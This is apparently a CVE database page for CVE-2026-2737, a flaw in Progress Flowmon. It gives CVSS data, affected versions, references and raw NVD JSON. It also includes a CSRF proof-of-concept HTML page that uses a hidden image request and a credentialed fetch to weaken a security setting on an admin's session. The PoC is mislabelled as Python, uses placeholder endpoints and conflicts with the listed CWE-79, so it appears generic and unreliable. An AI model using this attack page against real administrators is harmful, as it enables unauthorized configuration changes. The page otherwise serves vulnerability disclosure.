CVE-2026-2737

Description

A vulnerability exists in Progress Flowmon versions prior to 12.5.8 and 13.0.6, whereby an administrator who clicks a malicious link provided by an attacker may inadvertently trigger unintended actions within their authenticated web session.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:progress:flowmon:*:*:*:*:*:*:*:* - VULNERABLE

Progress Flowmon < 12.5.8

Progress Flowmon < 13.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-2737 -->
<!-- This HTML page simulates a CSRF attack -->
<!-- Attacker hosts this file and sends the link to the admin -->
<html>
  <body>
    <h1>Loading...</h1>
    <!-- The image tag triggers a GET request, or use JS for POST -->
    <!-- Replace TARGET_URL with the actual vulnerable endpoint -->
    <img src="http://target-flowmon-server/admin/api/perform_action?command=change_config" width="0" height="0" border="0">
    
    <script>
      // Alternative method using fetch to simulate a complex request
      fetch('http://target-flowmon-server/admin/api/update_settings', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          setting_id: 'security_level',
          value: 'low'
        }),
        credentials: 'include' // Ensures cookies are sent with the request
      }).then(() => {
        console.log('CSRF request sent');
      });
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2737
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2737
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2737/
[4] VulDB https://vuldb.com/cve/CVE-2026-2737
[5] https://community.progress.com/s/article/CVE-2026-2737-Progress-Flowmon

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2737", "sourceIdentifier": "[email protected]", "published": "2026-04-02T14:16:28.087", "lastModified": "2026-04-21T00:29:23.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in Progress Flowmon versions prior to 12.5.8 and 13.0.6, whereby an administrator who clicks a malicious link provided by an attacker may inadvertently trigger unintended actions within their authenticated web session."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:progress:flowmon:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.5.8", "matchCriteriaId": "E1CE841B-E288-43DA-976A-C0C22C4FCE8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:flowmon:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.0.6", "matchCriteriaId": "EBEF1153-B301-4C7B-89BD-A7D2D1CBC85D"}]}]}], "references": [{"url": "https://community.progress.com/s/article/CVE-2026-2737-Progress-Flowmon", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}